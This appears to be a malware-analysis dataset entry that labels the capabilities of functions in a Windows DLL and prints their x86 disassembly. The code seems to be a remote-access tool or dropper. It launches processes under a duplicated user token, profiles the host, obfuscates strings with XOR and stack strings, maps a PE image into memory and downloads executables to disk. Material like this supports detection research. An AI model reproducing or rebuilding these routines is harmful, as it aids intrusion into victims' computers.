joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003e0e
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.userenv.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateEnvironmentBlock
push eax
mov dword [ebp - 0x14], eax
call ebx
mov dword [ebp - 0x18], eax
xor esi, esi
push 0x44
lea eax, [ebp - 0x6c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x28]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x64], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call edi
push eax
call ebx
cmp eax, esi
je 0x10003f12
call eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push esi
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x10]
push 0x430
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x28]
call edi
push dword [ebp - 8]
call edi
jmp 0x10003f14
xor ebx, ebx
cmp dword [ebp - 0x14], esi
je 0x10003f22
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x1000410b
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x100072d8
push 1
push esi
push 0x100072f8
call dword [ebp - 0x18]
test eax, eax
jne 0x10004196
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x100072e8
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x1000419d
xor eax, eax
jmp 0x1000422b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000420e
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x100072c0
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10004203
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100041fa
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x100041a6
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x1000421e
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x10004228
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004230
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x160]
push edi
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, edi
je 0x100042f6
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100042f6
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x354]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push 0
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100042fd
xor al, al
jmp 0x100043bd
push esi
lea eax, [ebp - 0x160]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x160]
push 0x10009290
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x1000437a
lea eax, [ebp - 0x160]
push 0x1000928c
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x1000437a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x160]
push 0x10009288
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call edi
jmp 0x10004384
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x100043a1
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100046c6
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x10004721
mov eax, dword [ebp - 4]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x100046ee
mov eax, str.MODEM_l
leave
ret
mov ecx, eax
and ecx, 2
cmp cl, 2
jne 0x100046ff
mov eax, str.LAN_l
leave
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x10004710
mov eax, str.PROXY_l
leave
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x10004721
mov eax, str.OTHER_l
leave
ret
Function at 0x1000490c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
and byte [ebp - 0x208], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 5
mov ebx, str.CTXOPConntion_Class
pop ecx
mov esi, ebx
lea edi, [ebp - 0x104]
push 0x3c
rep movsd dword es:[edi], dword [esi]
pop ecx
xor eax, eax
and byte [ebp - 0x30c], al
lea edi, [ebp - 0xf0]
rep stosd dword es:[edi], eax
push 0x40
lea edi, [ebp - 0x30b]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
test edi, edi
je 0x10004a17
mov esi, 0x104
lea eax, [ebp - 0x104]
push ebx
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x100049f5
lea eax, [ebp - 0x104]
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
cmp byte [ebp + eax - 0x104], 0x5f
jne 0x100049af
lea eax, [ebp + eax - 0x103]
push eax
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push 0x10009288
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
push 2
push edi
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, eax
lea eax, [ebp - 0x104]
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test edi, edi
jne 0x10004980
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x208]
push eax
call fcn.10004723
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
cmp eax, 4
pop ecx
pop edi
pop esi
pop ebx
lea eax, [ebp - 0x208]
ja 0x10004a4b
mov eax, str.NULL
leave
ret

Function at 0x10004ac8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.100047d8
pop ecx
xor edx, edx
test eax, eax
pop ecx
jle 0x10004afb
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x29
add ecx, edx
inc edx
cmp edx, eax
jl 0x10004ae4
mov eax, dword [ebp - 4]
leave
ret

Function at 0x10004ba7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
je 0x10004c0a
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10004c03
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10004c00
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x10004bd9
push 1
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10004c10
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
push ebx
push esi
push edi
push 0x1000a7e4
lea eax, [ebp - 0x3a8]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [ebp - 0x2a4], 0xc8
call dword [sym.imp.USER32.dll_wsprintfA]
xor esi, esi
push 0x20
lea eax, [ebp - 0x2a3]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push esi
push 0x1000ac18
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2a3]
push esi
push eax
push 1
lea eax, [ebp - 0x3a8]
push str.Group
push eax
push 0x80000002
call fcn.10006767
push 0x10
lea eax, [ebp - 0x28]
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [ebp + 8]
add esp, 0x2c
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebx + 0x48]
call dword [0x1000ad7c]
lea eax, [ebp - 0x24]
push 4
push eax
lea eax, [ebp - 0x280]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x3a8]
push eax
lea eax, [ebp - 0x27c]
push 0x32
push eax
call fcn.1000441c
add esp, 0x18
lea eax, [ebp - 0x234]
mov dword [ebp - 0x234], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000467e
add esp, 0xc
test eax, eax
je 0x10004d17
mov eax, dword [ebp - 4]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x190], eax
call fcn.100045d7
test eax, eax
setne al
mov byte [ebp - 0x170], al
lea eax, [ebp - 0x18c]
push eax
call fcn.100043c2
pop ecx
call fcn.1000490c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
lea eax, [ebp - 0x10e]
push eax
call edi
call fcn.10004b00
push eax
lea eax, [ebp - 0x136]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x18]
pop ecx
mov dword [ebp - 0xec], esi
push eax
mov dword [ebp - 0x18], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x14]
cmp eax, 0x2bf20
jbe 0x10004d8e
mov dword [ebp - 0xec], 1
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
push 0x14
pop ecx
call fcn.10006c50
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x178], eax
call fcn.1000410b
mov dword [ebp - 0x174], eax
call fcn.100046c6
push eax
lea eax, [ebp - 0x24a]
push eax
call edi
lea eax, [ebp - 0xe8]
push 0x80
push eax
push str.RDP_Tcp
call fcn.10004a4d
lea eax, [ebp - 0x168]
push 0x32
push eax
lea eax, [ebp - 0x4a8]
push eax
call fcn.10004617
add esp, 0x18
lea eax, [ebp - 0x2a4]
mov ecx, ebx
push 0x23c
push eax
call fcn.1000182d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100055e2
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and byte [ebp - 6], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x1c]
push 0
push eax
push 0x80000002
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x4f
mov byte [ebp - 0x1a], 0x46
mov byte [ebp - 0x19], 0x54
mov byte [ebp - 0x18], 0x57
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x16], 0x52
mov byte [ebp - 0x15], 0x45
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x43
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x2e
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x38
mov byte [ebp - 8], 0x36
mov byte [ebp - 7], 0x5c
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005669
nop
nop
or eax, 0xffffffff
jmp 0x10005677
push 0x10009f58
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 1
pop eax
leave
ret 0xc

Function at 0x1000571b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x1000582a
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x1000582a
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10005773
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x1000582a
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10005838
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x100057f5
push eax
push edi
call fcn.100059a2
pop ecx
pop ecx
push edi
call fcn.10005a1c
test eax, eax
pop ecx
je 0x10005823
push edi
call fcn.100058e5
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10005831
add eax, ebx
test eax, eax
je 0x10005823
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x1000582e
push edi
call fcn.10005bdb
pop ecx
xor eax, eax
jmp 0x10005833
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005838
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x100058e2
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x100058a3
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x100058cc
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x100058cc
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x10005871
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1000618c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x10006128
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x100061e7
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x10006206
mov dl, byte [ecx + eax]
add dl, 0x36
xor dl, 0x39
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x100061f3
ret

Function at 0x10006207
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, 0x128
mov ebx, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
push esi
push ebx
mov dword [esi], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10006261
push dword [esp + 0x10]
lea edi, [esi + 0x24]
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
pop ecx
jmp 0x10006258
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10006261
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10006242
mov eax, dword [esi + 8]
jmp 0x10006263
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x10006267
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10007280
push 0x10006cba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.GetThreadDesktop
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push ebx
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push ebx
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push ebx
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
push eax
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x34]
push eax
push 0x100
lea eax, [ebp - 0x13c]
push eax
push 2
push dword [ebp + 8]
call dword [ebp - 0x20]
test eax, eax
je 0x10006323
push dword [ebp + 8]
call dword [ebp - 0x140]
test eax, eax
jne 0x10006328
mov dword [ebp - 0x28], edi
jmp 0x1000632c
push esi
call dword [ebp - 0x38]
or dword [ebp - 4], 0xffffffff
call fcn.1000634a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006365
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10007290
push 0x10006cba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x44], 0x4f
mov byte [ebp - 0x43], 0x70
mov byte [ebp - 0x42], 0x65
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], 0x49
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x70
mov byte [ebp - 0x3d], 0x75
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x44
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x73
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x6f
mov byte [ebp - 0x35], 0x70
xor ebx, ebx
mov byte [ebp - 0x34], bl
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x1c], eax
push str.OpenDesktopA
push dword [ebp - 0x24]
call esi
mov edi, eax
push str.CloseDesktop
push dword [ebp - 0x24]
call esi
mov esi, eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
push 0x1ff
push ebx
push ebx
je 0x10006422
push dword [ebp + 8]
call edi
jmp 0x10006425
call dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x1000643c
push eax
call fcn.10006267
pop ecx
test eax, eax
jne 0x1000643f
push dword [ebp - 0x2c]
call esi
mov dword [ebp - 0x20], ebx
or dword [ebp - 4], 0xffffffff
call fcn.1000645c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000646b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 0xc], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x100064d9
push str.InternetOpenUrlA
push edi
call esi
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x100064eb
cmp edi, ebx
je 0x100064e4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x100065a6
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10006579
mov edi, 0x400
push edi
lea eax, [ebp - 0x41c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x41c]
push edi
push ecx
push dword [ebp - 0x18]
call eax
cmp dword [ebp - 0x14], ebx
je 0x10006548
cmp word [ebp - 0x41c], 0x5a4d
jne 0x1000656a
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x41c]
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
jbe 0x1000656d
jmp 0x1000650c
mov byte [ebp - 1], bl
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0x18]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x100065a3
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret